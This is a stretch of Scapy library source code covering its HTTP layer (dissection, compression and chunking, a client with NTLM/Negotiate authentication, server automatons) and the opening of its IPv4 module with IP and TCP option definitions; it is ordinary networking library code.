__slots__ = ["_original_len"] # https://developer.mozilla.org/fr/docs/Web/HTTP/Headers/Transfer-Encoding def _get_encodings(self): encodings = [] if isinstance(self, HTTPResponse): if self.Transfer_Encoding: encodings += [ plain_str(x).strip().lower() for x in plain_str(self.Transfer_Encoding).split(",") ] if self.Content_Encoding: encodings += [ plain_str(x).strip().lower() for x in plain_str(self.Content_Encoding).split(",") ] return encodings def hashret(self): return b"HTTP1" def post_dissect(self, s): self._original_len = len(s) encodings = self._get_encodings() # Un-chunkify if conf.contribs["http"]["auto_chunk"] and "chunked" in encodings: data = b"" while s: length, _, body = s.partition(b"\r\n") try: length = int(length, 16) except ValueError: # Not a valid chunk. Ignore break else: load = body[:length] if body[length : length + 2] != b"\r\n": # Invalid chunk. Ignore break s = body[length + 2 :] data += load if not s: s = data if not conf.contribs["http"]["auto_compression"]: return s # Decompress try: if "deflate" in encodings: import zlib s = zlib.decompress(s) elif "gzip" in encodings: s = gzip.decompress(s) elif "compress" in encodings: if _is_lzw_available: s = lzw.decompress(s) else: log_loading.info( "Can't import lzw. compress decompression " "will be ignored !" ) elif "br" in encodings: if _is_brotli_available: s = brotli.decompress(s) else: log_loading.info( "Can't import brotli. brotli decompression " "will be ignored !" ) elif "zstd" in encodings: if _is_zstd_available: # Using its streaming API since its simple API could handle # only cases where there is content size data embedded in # the frame bio = io.BytesIO(s) reader = zstandard.ZstdDecompressor().stream_reader(bio) s = reader.read() else: log_loading.info( "Can't import zstandard. zstd decompression " "will be ignored !" ) except Exception: # Cannot decompress - probably incomplete data pass return s def post_build(self, pkt, pay): encodings = self._get_encodings() if conf.contribs["http"]["auto_compression"]: # Compress if "deflate" in encodings: import zlib pay = zlib.compress(pay) elif "gzip" in encodings: pay = gzip.compress(pay) elif "compress" in encodings: if _is_lzw_available: pay = lzw.compress(pay) else: log_loading.info( "Can't import lzw. compress compression " "will be ignored !" ) elif "br" in encodings: if _is_brotli_available: pay = brotli.compress(pay) else: log_loading.info( "Can't import brotli. brotli compression will " "be ignored !" ) elif "zstd" in encodings: if _is_zstd_available: pay = zstandard.ZstdCompressor().compress(pay) else: log_loading.info( "Can't import zstandard. zstd compression will " "be ignored !" ) # Chunkify if conf.contribs["http"]["auto_chunk"] and "chunked" in encodings: # Dumb: 1 single chunk. pay = (b"%X" % len(pay)) + b"\r\n" + pay + b"\r\n0\r\n\r\n" return pkt + pay def self_build(self, **kwargs): """Takes an HTTPRequest or HTTPResponse object, and creates its string representation.""" if not isinstance(self.underlayer, HTTP): warning("An HTTPResponse/HTTPRequest should always be below an HTTP") # Check for cache if self.raw_packet_cache is not None: return self.raw_packet_cache p = b"" encodings = self._get_encodings() # Walk all the fields, in order for i, f in enumerate(self.fields_desc): if f.name == "Unknown_Headers": continue # Get the field value val = self.getfieldval(f.name) if not val: if f.name == "Content_Length" and "chunked" not in encodings: # Add Content-Length anyways val = str(len(self.payload or b"")) elif f.name == "Date" and isinstance(self, HTTPResponse): val = datetime.datetime.now(datetime.timezone.utc).strftime( "%a, %d %b %Y %H:%M:%S GMT" ) else: # Not specified. Skip continue if i >= 3: val = _header_line(f.real_name, val) # Fields used in the first line have a space as a separator, # whereas headers are terminated by a new line if i <= 1: separator = b" " else: separator = b"\r\n" # Add the field into the packet p = f.addfield(self, p, val + separator) # Handle Unknown_Headers if self.Unknown_Headers: headers_text = b"" for name, value in self.Unknown_Headers.items(): headers_text += _header_line(name, value) + b"\r\n" p = self.get_field("Unknown_Headers").addfield(self, p, headers_text) # The packet might be empty, and in that case it should stay empty. if p: # Add an additional line after the last header p = f.addfield(self, p, b"\r\n") return p def guess_payload_class(self, payload): """Detect potential payloads""" if not hasattr(self, "Connection"): return super(_HTTPContent, self).guess_payload_class(payload) if self.Connection and b"Upgrade" in self.Connection: from scapy.contrib.http2 import H2Frame return H2Frame return super(_HTTPContent, self).guess_payload_class(payload) class _HTTPHeaderField(StrField): """Modified StrField to handle HTTP Header names""" __slots__ = ["real_name"] def __init__(self, name, default): self.real_name = name name = _strip_header_name(name) StrField.__init__(self, name, default, fmt="H") def i2repr(self, pkt, x): if isinstance(x, bytes): return x.decode(errors="backslashreplace") return x def _generate_headers(*args): """Generate the header fields based on their name""" # Order headers all_headers = [] for headers in args: all_headers += headers # Generate header fields results = [] for h in sorted(all_headers): results.append(_HTTPHeaderField(h, None)) return results # Create Request and Response packets class HTTPRequest(_HTTPContent): name = "HTTP Request" fields_desc = ( [ # First line _HTTPHeaderField("Method", "GET"), _HTTPHeaderField("Path", "/"), _HTTPHeaderField("Http-Version", "HTTP/1.1"), # Headers ] + ( _generate_headers( GENERAL_HEADERS, REQUEST_HEADERS, COMMON_UNSTANDARD_GENERAL_HEADERS, COMMON_UNSTANDARD_REQUEST_HEADERS, ) ) + [ _HTTPHeaderField("Unknown-Headers", None), ] ) def do_dissect(self, s): """From the HTTP packet string, populate the scapy object""" first_line, body = _dissect_headers(self, s) try: Method, Path, HTTPVersion = re.split(rb"\s+", first_line, maxsplit=2) self.setfieldval("Method", Method) self.setfieldval("Path", Path) self.setfieldval("Http_Version", HTTPVersion) except ValueError: pass if body: self.raw_packet_cache = s[: -len(body)] else: self.raw_packet_cache = s return body def mysummary(self): return self.sprintf("%HTTPRequest.Method% '%HTTPRequest.Path%' ") class HTTPResponse(_HTTPContent): name = "HTTP Response" fields_desc = ( [ # First line _HTTPHeaderField("Http-Version", "HTTP/1.1"), _HTTPHeaderField("Status-Code", "200"), _HTTPHeaderField("Reason-Phrase", "OK"), # Headers ] + ( _generate_headers( GENERAL_HEADERS, RESPONSE_HEADERS, COMMON_UNSTANDARD_GENERAL_HEADERS, COMMON_UNSTANDARD_RESPONSE_HEADERS, ) ) + [ _HTTPHeaderField("Unknown-Headers", None), ] ) def answers(self, other): return HTTPRequest in other def do_dissect(self, s): """From the HTTP packet string, populate the scapy object""" first_line, body = _dissect_headers(self, s) try: HTTPVersion, Status, Reason = re.split(rb"\s+", first_line, maxsplit=2) self.setfieldval("Http_Version", HTTPVersion) self.setfieldval("Status_Code", Status) self.setfieldval("Reason_Phrase", Reason) except ValueError: pass if body: self.raw_packet_cache = s[: -len(body)] else: self.raw_packet_cache = s return body def mysummary(self): return self.sprintf("%HTTPResponse.Status_Code% %HTTPResponse.Reason_Phrase%") # General HTTP class + defragmentation class HTTP(Packet): name = "HTTP 1" fields_desc = [] show_indent = 0 clsreq = HTTPRequest clsresp = HTTPResponse hdr = b"HTTP" reqmethods = b"|".join( [ b"OPTIONS", b"GET", b"HEAD", b"POST", b"PUT", b"DELETE", b"TRACE", b"CONNECT", ] ) @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 9: from scapy.contrib.http2 import _HTTP2_types, H2Frame # To detect a valid HTTP2, we check that the type is correct # that the Reserved bit is set and length makes sense. while _pkt: if len(_pkt) < 9: # Invalid total length return cls if ord(_pkt[3:4]) not in _HTTP2_types: # Invalid type return cls length = struct.unpack("!I", b"\0" + _pkt[:3])[0] + 9 if length > len(_pkt): # Invalid length return cls sid = struct.unpack("!I", _pkt[5:9])[0] if sid >> 31 != 0: # Invalid Reserved bit return cls _pkt = _pkt[length:] return H2Frame return cls # tcp_reassemble is used by TCPSession in session.py @classmethod def tcp_reassemble(cls, data, metadata, session): detect_end = metadata.get("detect_end", None) is_unknown = metadata.get("detect_unknown", True) # General idea of the following is explained at # https://datatracker.ietf.org/doc/html/rfc2616#section-4.4 if not detect_end or is_unknown: metadata["detect_unknown"] = False http_packet = cls(data) # Detect packing method if not isinstance(http_packet.payload, _HTTPContent): return http_packet is_response = isinstance(http_packet.payload, cls.clsresp) # Packets may have a Content-Length we must honnor length = http_packet.Content_Length if length: # Parse the length as an integer try: length = int(length) except ValueError: length = None if length is not None: # The packet provides a Content-Length attribute: let's # use it. When the total size of the frags is high enough, # we have the packet if session.pop("head_request", False): # Answer to a HEAD request. detect_end = lambda dat: dat.find(b"\r\n\r\n") # Subtract the length of the "HTTP*" layer elif http_packet.payload.payload or length == 0: http_length = len(data) - http_packet.payload._original_len detect_end = lambda dat: len(dat) - http_length >= length else: # The HTTP layer isn't fully received. if metadata.get("tcp_end", False): # This was likely a HEAD response. Ugh detect_end = lambda dat: True else: detect_end = lambda dat: False metadata["detect_unknown"] = True else: # It's not Content-Length based. It could be chunked encodings = http_packet[cls].payload._get_encodings() chunked = "chunked" in encodings if chunked: detect_end = lambda dat: dat.endswith(b"0\r\n\r\n") # HTTP Requests that do not have any content, # end with a double CRLF. elif isinstance(http_packet.payload, cls.clsreq): detect_end = lambda dat: dat.endswith(b"\r\n\r\n") # In case we are handling a HTTP Request, # we want to continue assessing the data, # to handle requests with a body (POST) metadata["detect_unknown"] = True if ( isinstance(http_packet.payload, cls.clsreq) and http_packet.Method == b"HEAD" ): session["head_request"] = True elif is_response and http_packet.Status_Code == b"101": # If it's an upgrade response, it may also hold a # different protocol data. # make sure all headers are present detect_end = lambda dat: dat.find(b"\r\n\r\n") else: # If neither Content-Length nor chunked is specified, # it means it's the TCP packet that contains the data, # or that the information hasn't been given yet. detect_end = lambda dat: metadata.get("tcp_end", False) metadata["detect_unknown"] = True metadata["detect_end"] = detect_end if detect_end(data): return http_packet else: if detect_end(data): http_packet = cls(data) return http_packet def guess_payload_class(self, payload): """Decides if the payload is an HTTP Request or Response, or something else. """ try: prog = re.compile( rb"^(?:" + self.reqmethods + rb") " + rb"(?:.+?) " + self.hdr + rb"/\d\.\d$" ) crlfIndex = payload.index(b"\r\n") req = payload[:crlfIndex] result = prog.match(req) if result: return self.clsreq else: prog = re.compile(b"^" + self.hdr + rb"/\d\.\d \d\d\d .*$") result = prog.match(req) if result: return self.clsresp except ValueError: # Anything that isn't HTTP but on port 80 pass return Raw class HTTP_AUTH_MECHS(Enum): NONE = "NONE" BASIC = "Basic" NTLM = "NTLM" NEGOTIATE = "Negotiate" class HTTP_Client(object): """ A basic HTTP client :param mech: one of HTTP_AUTH_MECHS :param ssl: whether to use HTTPS or not :param ssp: the SSP object to use for binding :param no_check_certificate: with SSL, do not check the certificate :param no_chan_bindings: force disable sending the channel bindings """ def __init__( self, mech=HTTP_AUTH_MECHS.NONE, verb=True, sslcontext=None, ssp=None, no_check_certificate=False, no_chan_bindings=False, ): self.sock = None self._sockinfo = None self.authmethod = mech self.verb = verb self.sslcontext = sslcontext self.ssp = ssp self.sspcontext = None self.no_check_certificate = no_check_certificate self.no_chan_bindings = no_chan_bindings self.chan_bindings = GSS_C_NO_CHANNEL_BINDINGS def _connect_or_reuse(self, host, port=None, tls=False, timeout=5): # Get the port if port is None: port = 443 if tls else 80 # If the current socket matches, keep it. if self._sockinfo == (host, port): return # A new socket is needed if self._sockinfo: self.close() sock = socket.socket() sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1) sock.settimeout(timeout) if self.verb: print( "\u2503 Connecting to %s on port %s%s..." % ( host, port, " with SSL" if tls else "", ) ) sock.connect((host, port)) if self.verb: print( conf.color_theme.green( "\u2514 Connected from %s" % repr(sock.getsockname()) ) ) if tls: if self.sslcontext is None: if self.no_check_certificate: context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) context.check_hostname = False context.verify_mode = ssl.CERT_NONE else: context = ssl.create_default_context() else: context = self.sslcontext sock = context.wrap_socket(sock, server_hostname=host) if self.ssp and not self.no_chan_bindings: # Compute the channel binding token (CBT) self.chan_bindings = GssChannelBindings.fromssl( ChannelBindingType.TLS_SERVER_END_POINT, sslsock=sock, ) self.sock = SSLStreamSocket(sock, HTTP) else: self.sock = StreamSocket(sock, HTTP) # Store information regarding the current socket self._sockinfo = (host, port) def sr1(self, req, **kwargs): if self.verb: print(conf.color_theme.opening(">> %s" % req.summary())) resp = self.sock.sr1( HTTP() / req, verbose=0, **kwargs, ) if self.verb: print(conf.color_theme.success("<< %s" % (resp and resp.summary()))) return resp def request( self, url, data=b"", timeout=5, follow_redirects=True, http_headers={}, **headers, ): """ Perform a HTTP(s) request. :param url: the full URL to connect to. e.g. https://google.com/test :param data: the data to send as payload :param follow_redirects: if True, request() will follow 302 return codes :param http_headers: if specified, overwrites the HTTP headers (except Host and Path). :param headers: any additional HTTPRequest parameter to add. e.g. Method="POST" """ # Parse request url m = re.match(r"(https?)://([^/:]+)(?:\:(\d+))?(/.*)?", url) if not m: raise ValueError("Bad URL !") transport, host, port, path = m.groups() if transport == "https": tls = True else: tls = False path = path or "/" port = port and int(port) # Connect (or reuse) socket self._connect_or_reuse(host, port=port, tls=tls, timeout=timeout) # Build request if (tls and port != 443) or (not tls and port != 80): host_hdr = "%s:%d" % (host, port) else: host_hdr = host headers.setdefault("Host", host_hdr) headers.setdefault("Path", path) if not http_headers: http_headers = { "Accept_Encoding": b"gzip, deflate", "Cache_Control": b"no-cache", "Pragma": b"no-cache", "Connection": b"keep-alive", } else: http_headers = {k.replace("-", "_"): v for k, v in http_headers.items()} http_headers.update(headers) req = HTTP() / HTTPRequest(**http_headers) if data: req /= data while True: # Perform the request. try: resp = self.sr1(req, timeout=timeout) except Exception: # Socket has died, restart. self._sockinfo = None self._connect_or_reuse(host, port=port, tls=tls, timeout=timeout) continue if not resp: break # First case: auth was required. Handle that if resp.Status_Code in [b"401", b"407"]: # Authentication required if self.authmethod in [ HTTP_AUTH_MECHS.NTLM, HTTP_AUTH_MECHS.NEGOTIATE, ]: # Parse authenticate if b" " in resp.WWW_Authenticate: method, data = resp.WWW_Authenticate.split(b" ", 1) try: ssp_blob = GSSAPI_BLOB(base64.b64decode(data)) except Exception: raise Scapy_Exception("Invalid WWW-Authenticate") else: method = resp.WWW_Authenticate ssp_blob = None if plain_str(method) != self.authmethod.value: raise Scapy_Exception("Invalid WWW-Authenticate") # SPNEGO / Kerberos / NTLM self.sspcontext, token, status = self.ssp.GSS_Init_sec_context( self.sspcontext, input_token=ssp_blob, target_name="http/" + host, req_flags=0, chan_bindings=self.chan_bindings, ) if status not in [GSS_S_COMPLETE, GSS_S_CONTINUE_NEEDED]: raise Scapy_Exception("Authentication failure") req.Authorization = ( self.authmethod.value.encode() + b" " + base64.b64encode(bytes(token)) ) continue # Second case: follow redirection if resp.Status_Code in [b"301", b"302"] and follow_redirects: return self.request( resp.Location.decode(), data=data, timeout=timeout, follow_redirects=follow_redirects, **headers, ) break return resp def close(self): if self.verb: print("X Connection to server closed\n") self.sock.close() def http_request( host, path="/", port=None, timeout=3, display=False, tls=False, verbose=0, **headers ): """ Util to perform an HTTP request. :param host: the host to connect to :param path: the path of the request (default /) :param port: the port (default 80/443) :param timeout: timeout before None is returned :param display: display the result in the default browser (default False) :param iface: interface to use. Changing this turns on "raw" :param headers: any additional headers passed to the request :returns: the HTTPResponse packet """ client = HTTP_Client(HTTP_AUTH_MECHS.NONE, verb=verbose) if port is None: port = 443 if tls else 80 ans = client.request( "http%s://%s:%s%s" % (tls and "s" or "", host, port, path), timeout=timeout, ) if ans: if display: if Raw not in ans: warning("No HTTP content returned. Cannot display") return ans # Write file file = get_temp_file(autoext=".html") with open(file, "wb") as fd: fd.write(ans.load) # Open browser if WINDOWS: os.startfile(file) else: with ContextManagerSubprocess(conf.prog.universal_open): subprocess.Popen([conf.prog.universal_open, file]) return ans # Bindings bind_bottom_up(TCP, HTTP, sport=80) bind_bottom_up(TCP, HTTP, dport=80) bind_layers(TCP, HTTP, sport=80, dport=80) bind_bottom_up(TCP, HTTP, sport=8080) bind_bottom_up(TCP, HTTP, dport=8080) # Automatons class HTTP_Server(Automaton): """ HTTP server automaton :param ssp: the SSP to serve. If None, unauthenticated (or basic). :param mech: the HTTP_AUTH_MECHS to use (default: NONE) :param require_cbt: require Channel Bindings to be valid (default: False) :param cbt_cert: the path to the certificate used for channel bindings. Useful if behind a reverse proxy. (default: None) Other parameters: :param BASIC_IDENTITIES: a dict that contains {"user": "password"} for Basic authentication. :param BASIC_REALM: the basic realm. """ pkt_cls = HTTP def __init__( self, mech=HTTP_AUTH_MECHS.NONE, verb=True, ssp=None, require_cbt: bool = False, cbt_cert: str = None, *args, **kwargs, ): self.verb = verb if "sock" not in kwargs: raise ValueError( "HTTP_Server cannot be started directly ! Use HTTP_Server.spawn" ) self.ssp = ssp self.authmethod = mech.value self.sspcontext = None # CBT settings self.ssp_req_flags = GSS_S_FLAGS.GSS_S_ALLOW_MISSING_BINDINGS if require_cbt: self.ssp_req_flags &= ~GSS_S_FLAGS.GSS_S_ALLOW_MISSING_BINDINGS if cbt_cert: self.chan_bindings = GssChannelBindings.fromssl( ChannelBindingType.TLS_SERVER_END_POINT, certfile=cbt_cert, ) else: self.chan_bindings = GSS_C_NO_CHANNEL_BINDINGS # Auth settings self.basic = False self.BASIC_IDENTITIES = kwargs.pop("BASIC_IDENTITIES", {}) self.BASIC_REALM = kwargs.pop("BASIC_REALM", "default") if mech == HTTP_AUTH_MECHS.BASIC: if not self.BASIC_IDENTITIES: raise ValueError("Please provide 'BASIC_IDENTITIES' !") if ssp is not None: raise ValueError("Can't use 'BASIC_IDENTITIES' with 'ssp' !") self.basic = True elif mech == HTTP_AUTH_MECHS.NONE: if ssp is not None: raise ValueError("Cannot use ssp with mech=NONE !") # Initialize Automaton.__init__(self, *args, **kwargs) def send(self, resp): self.sock.send(HTTP() / resp) def vprint(self, s=""): """ Verbose print (if enabled) """ if self.verb: if conf.interactive: log_interactive.info("> %s", s) else: print("> %s" % s) @ATMT.state(initial=1) def BEGIN(self): self.authenticated = False self.sspcontext = None @ATMT.receive_condition(BEGIN, prio=1) def should_authenticate(self, pkt): if self.authmethod == HTTP_AUTH_MECHS.NONE.value: raise self.SERVE(pkt) else: raise self.AUTH(pkt) @ATMT.state() def AUTH(self, pkt=None): if pkt is None: return if HTTPRequest in pkt: self.vprint(pkt.summary()) if pkt.Method == b"CONNECT": # HTTP tunnel (proxy) proxy = True else: # HTTP non-tunnel proxy = False # Get authorization if proxy: authorization = pkt.Proxy_Authorization else: authorization = pkt.Authorization if not authorization: # Initial ask. data = self.authmethod if self.basic: data += " realm='%s'" % self.BASIC_REALM self._ask_authorization(proxy, data) return # Parse authorization method, data = authorization.split(b" ", 1) if plain_str(method) != self.authmethod: self.debug(3, "Bad auth method.") raise self.AUTH_ERROR(proxy) try: data = base64.b64decode(data) except Exception: self.debug(3, "Couldn't unpack base64 of auth.") raise self.AUTH_ERROR(proxy) # Now process the authorization if not self.basic: try: ssp_blob = GSSAPI_BLOB(data) except Exception: self.sspcontext = None self._ask_authorization(proxy, self.authmethod) self.debug(3, "Couldn't unpack GSSAPI_BLOB of auth.") raise self.AUTH_ERROR(proxy) # And call the SSP self.sspcontext, tok, status = self.ssp.GSS_Accept_sec_context( self.sspcontext, ssp_blob, req_flags=self.ssp_req_flags, chan_bindings=self.chan_bindings, ) else: # This is actually Basic authentication try: next( True for k, v in self.BASIC_IDENTITIES.items() if ("%s:%s" % (k, v)).encode() == data ) tok, status = None, GSS_S_COMPLETE except StopIteration: self.debug(3, "Basic authentication failed with 'unknown user'.") tok, status = None, GSS_S_FAILURE # Send answer if status not in [GSS_S_COMPLETE, GSS_S_CONTINUE_NEEDED]: self.debug(3, "Authentication failed: %s." % status) raise self.AUTH_ERROR(proxy) elif status == GSS_S_CONTINUE_NEEDED: data = self.authmethod.encode() if tok: data += b" " + base64.b64encode(bytes(tok)) self._ask_authorization(proxy, data) raise self.AUTH() else: # Authenticated ! self.authenticated = True self.vprint("AUTH OK") raise self.SERVE(pkt) @ATMT.state() def AUTH_ERROR(self, proxy): self.sspcontext = None self._ask_authorization(proxy, self.authmethod) self.vprint("AUTH ERROR") @ATMT.condition(AUTH_ERROR) def allow_reauth(self): raise self.AUTH() def _ask_authorization(self, proxy, data): if proxy: self.send( HTTPResponse( Status_Code=b"407", Reason_Phrase=b"Proxy Authentication Required", Proxy_Authenticate=data, ) ) else: self.send( HTTPResponse( Status_Code=b"401", Reason_Phrase=b"Unauthorized", WWW_Authenticate=data, ) ) @ATMT.receive_condition(AUTH, prio=1) def received_unauthenticated(self, pkt): raise self.AUTH(pkt) @ATMT.eof(AUTH) def auth_eof(self): raise self.CLOSED() @ATMT.state(error=1) def ERROR(self): self.send( HTTPResponse( Status_Code="400", Reason_Phrase="Bad Request", ) ) @ATMT.state(final=1) def CLOSED(self): self.vprint("CLOSED") # Serving @ATMT.state() def SERVE(self, pkt=None): if pkt is None: return answer = self.answer(pkt) if answer: self.send(answer) self.vprint("%s -> %s" % (pkt.summary(), answer.summary())) else: self.vprint("%s" % pkt.summary()) @ATMT.eof(SERVE) def serve_eof(self): raise self.CLOSED() @ATMT.receive_condition(SERVE) def new_request(self, pkt): raise self.SERVE(pkt) # DEV: overwrite this function def answer(self, pkt): """ HTTP_server answer function. :param pkt: a HTTPRequest packet :returns: a HTTPResponse packet """ if pkt.Path == b"/": return HTTPResponse() / ( "

OK

" ) else: return HTTPResponse( Status_Code=b"404", Reason_Phrase=b"Not Found", ) / ("

404 - Not Found

") class HTTPS_Server(HTTP_Server): """ HTTPS server automaton This has the same arguments and attributes as HTTP_Server, with the addition of: :param sslcontext: an optional SSLContext object. If used, key is ignored but cert can still be used for channel bindings. :param cert: path to the certificate :param key: path to the key :param require_cbt: require Channel Bindings to be valid """ socketcls = None def __init__( self, mech=HTTP_AUTH_MECHS.NONE, verb=True, cert=None, key=None, sslcontext=None, ssp=None, require_cbt=False, *args, **kwargs, ): if "sock" not in kwargs: raise ValueError( "HTTPS_Server cannot be started directly ! Use HTTPS_Server.spawn" ) # wrap socket in SSL if sslcontext is None: context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) context.load_cert_chain(cert, key) else: context = sslcontext kwargs["sock"] = SSLStreamSocket( context.wrap_socket(kwargs["sock"], server_side=True), self.pkt_cls, ) # Call super super(HTTPS_Server, self).__init__( mech=mech, verb=verb, ssp=ssp, cbt_cert=cert, require_cbt=require_cbt, *args, **kwargs, ) ================================================ FILE: scapy/layers/inet.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ IPv4 (Internet Protocol v4). """ import time import struct import re import random import select import socket from collections import defaultdict from scapy.utils import checksum, do_graph, incremental_label, \ linehexdump, strxor, whois, colgen from scapy.ansmachine import AnsweringMachine from scapy.base_classes import Gen, Net, _ScopedIP from scapy.consts import OPENBSD from scapy.data import ( ETH_P_IP, ETH_P_ALL, DLT_RAW, DLT_RAW_ALT, DLT_IPV4, IP_PROTOS, TCP_SERVICES, UDP_SERVICES, ) from scapy.layers.l2 import ( CookedLinux, Dot3, Ether, GRE, Loopback, SNAP, arpcachepoison, getmacbyip, ) from scapy.compat import raw, chb, orb, bytes_encode, Optional from scapy.config import conf from scapy.fields import ( BitEnumField, BitField, ByteEnumField, ByteField, ConditionalField, DestField, Emph, FieldLenField, FieldListField, FlagsField, IPField, IP6Field, IntField, MayEnd, MultiEnumField, MultipleTypeField, PacketField, PacketListField, ShortEnumField, ShortField, SourceIPField, StrField, StrFixedLenField, StrLenField, TrailerField, XByteField, XShortField, ) from scapy.packet import Packet, bind_layers, bind_bottom_up, NoPayload from scapy.volatile import RandShort, RandInt, RandBin, RandNum, VolatileValue from scapy.sendrecv import sr, sr1 from scapy.plist import _PacketList, PacketList, SndRcvList from scapy.automaton import Automaton, ATMT from scapy.error import log_runtime, warning from scapy.pton_ntop import inet_pton import scapy.as_resolvers #################### # IP Tools class # #################### class IPTools(object): """Add more powers to a class with an "src" attribute.""" __slots__ = [] def whois(self): """whois the source and print the output""" print(whois(self.src).decode("utf8", "ignore")) def _ttl(self): """Returns ttl or hlim, depending on the IP version""" return self.hlim if isinstance(self, scapy.layers.inet6.IPv6) else self.ttl # noqa: E501 def ottl(self): t = sorted([32, 64, 128, 255] + [self._ttl()]) return t[t.index(self._ttl()) + 1] def hops(self): return self.ottl() - self._ttl() _ip_options_names = {0: "end_of_list", 1: "nop", 2: "security", 3: "loose_source_route", 4: "timestamp", 5: "extended_security", 6: "commercial_security", 7: "record_route", 8: "stream_id", 9: "strict_source_route", 10: "experimental_measurement", 11: "mtu_probe", 12: "mtu_reply", 13: "flow_control", 14: "access_control", 15: "encode", 16: "imi_traffic_descriptor", 17: "extended_IP", 18: "traceroute", 19: "address_extension", 20: "router_alert", 21: "selective_directed_broadcast_mode", 23: "dynamic_packet_state", 24: "upstream_multicast_packet", 25: "quick_start", 30: "rfc4727_experiment", } class _IPOption_HDR(Packet): fields_desc = [BitField("copy_flag", 0, 1), BitEnumField("optclass", 0, 2, {0: "control", 2: "debug"}), BitEnumField("option", 0, 5, _ip_options_names)] class IPOption(Packet): name = "IP Option" fields_desc = [_IPOption_HDR, FieldLenField("length", None, fmt="B", # Only option 0 and 1 have no length and value # noqa: E501 length_of="value", adjust=lambda pkt, l:l + 2), # noqa: E501 StrLenField("value", "", length_from=lambda pkt:pkt.length - 2)] # noqa: E501 def extract_padding(self, p): return b"", p registered_ip_options = {} @classmethod def register_variant(cls): cls.registered_ip_options[cls.option.default] = cls @classmethod def dispatch_hook(cls, pkt=None, *args, **kargs): if pkt: opt = orb(pkt[0]) & 0x1f if opt in cls.registered_ip_options: return cls.registered_ip_options[opt] return cls class IPOption_EOL(IPOption): name = "IP Option End of Options List" option = 0 fields_desc = [_IPOption_HDR] class IPOption_NOP(IPOption): name = "IP Option No Operation" option = 1 fields_desc = [_IPOption_HDR] class IPOption_Security(IPOption): name = "IP Option Security" copy_flag = 1 option = 2 fields_desc = [_IPOption_HDR, ByteField("length", 11), ShortField("security", 0), ShortField("compartment", 0), ShortField("handling_restrictions", 0), StrFixedLenField("transmission_control_code", "xxx", 3), ] class IPOption_RR(IPOption): name = "IP Option Record Route" option = 7 fields_desc = [_IPOption_HDR, FieldLenField("length", None, fmt="B", length_of="routers", adjust=lambda pkt, l:l + 3), # noqa: E501 ByteField("pointer", 4), # 4 is first IP FieldListField("routers", [], IPField("", "0.0.0.0"), length_from=lambda pkt:pkt.length - 3) ] def get_current_router(self): return self.routers[self.pointer // 4 - 1] class IPOption_LSRR(IPOption_RR): name = "IP Option Loose Source and Record Route" copy_flag = 1 option = 3 class IPOption_SSRR(IPOption_RR): name = "IP Option Strict Source and Record Route" copy_flag = 1 option = 9 class IPOption_Stream_Id(IPOption): name = "IP Option Stream ID" copy_flag = 1 option = 8 fields_desc = [_IPOption_HDR, ByteField("length", 4), ShortField("security", 0), ] class IPOption_MTU_Probe(IPOption): name = "IP Option MTU Probe" option = 11 fields_desc = [_IPOption_HDR, ByteField("length", 4), ShortField("mtu", 0), ] class IPOption_MTU_Reply(IPOption_MTU_Probe): name = "IP Option MTU Reply" option = 12 class IPOption_Traceroute(IPOption): name = "IP Option Traceroute" option = 18 fields_desc = [_IPOption_HDR, ByteField("length", 12), ShortField("id", 0), ShortField("outbound_hops", 0), ShortField("return_hops", 0), IPField("originator_ip", "0.0.0.0")] class IPOption_Timestamp(IPOption): name = "IP Option Timestamp" optclass = 2 option = 4 fields_desc = [_IPOption_HDR, ByteField("length", None), ByteField("pointer", 9), BitField("oflw", 0, 4), BitEnumField("flg", 1, 4, {0: "timestamp_only", 1: "timestamp_and_ip_addr", 3: "prespecified_ip_addr"}), ConditionalField(IPField("internet_address", "0.0.0.0"), lambda pkt: pkt.flg != 0), IntField('timestamp', 0)] def post_build(self, p, pay): if self.length is None: p = p[:1] + struct.pack("!B", len(p)) + p[2:] return p + pay class IPOption_Address_Extension(IPOption): name = "IP Option Address Extension" copy_flag = 1 option = 19 fields_desc = [_IPOption_HDR, ByteField("length", 10), IPField("src_ext", "0.0.0.0"), IPField("dst_ext", "0.0.0.0")] class IPOption_Router_Alert(IPOption): name = "IP Option Router Alert" copy_flag = 1 option = 20 fields_desc = [_IPOption_HDR, ByteField("length", 4), ShortEnumField("alert", 0, {0: "router_shall_examine_packet"}), ] # noqa: E501 class IPOption_SDBM(IPOption): name = "IP Option Selective Directed Broadcast Mode" copy_flag = 1 option = 21 fields_desc = [_IPOption_HDR, FieldLenField("length", None, fmt="B", length_of="addresses", adjust=lambda pkt, l:l + 2), # noqa: E501 FieldListField("addresses", [], IPField("", "0.0.0.0"), length_from=lambda pkt:pkt.length - 2) ] TCPOptions = ( {0: ("EOL", None), 1: ("NOP", None), 2: ("MSS", "!H"), 3: ("WScale", "!B"), 4: ("SAckOK", None), 5: ("SAck", "!"), 8: ("Timestamp", "!II"), 14: ("AltChkSum", "!BH"), 15: ("AltChkSumOpt", None), 19: ("MD5", "16s"), 25: ("Mood", "!p"), 28: ("UTO", "!H"), 29: ("AO", None), 34: ("TFO", "!II"), # RFC 3692 # 253: ("Experiment", "!HHHH"), # 254: ("Experiment", "!HHHH"), }, {"EOL": 0, "NOP": 1, "MSS": 2, "WScale": 3, "SAckOK": 4, "SAck": 5, "Timestamp": 8, "AltChkSum": 14, "AltChkSumOpt": 15, "MD5": 19, "Mood": 25, "UTO": 28, "AO": 29, "TFO": 34, }) class TCPAOValue(Packet): """Value of TCP-AO option""" fields_desc = [ ByteField("keyid", None), ByteField("rnextkeyid", None), StrLenField("mac", "", length_from=lambda p:len(p.original) - 2), ] def get_tcpao(tcphdr): # type: (TCP) -> Optional[TCPAOValue] """Get the TCP-AO option from the header""" for optid, optval in tcphdr.options: if optid == 'AO': return optval return None class RandTCPOptions(VolatileValue): def __init__(self, size=None): if size is None: size = RandNum(1, 5) self.size = size def _fix(self): # Pseudo-Random amount of options # Random ("NAME", fmt) rand_patterns = [ random.choice(list( (opt, fmt) for opt, fmt in TCPOptions[0].values() if opt != 'EOL' )) for _ in range(self.size) ] rand_vals = [] for oname, fmt in rand_patterns: if fmt is None: rand_vals.append((oname, b'')) else: # Process the fmt arguments 1 by 1 structs = 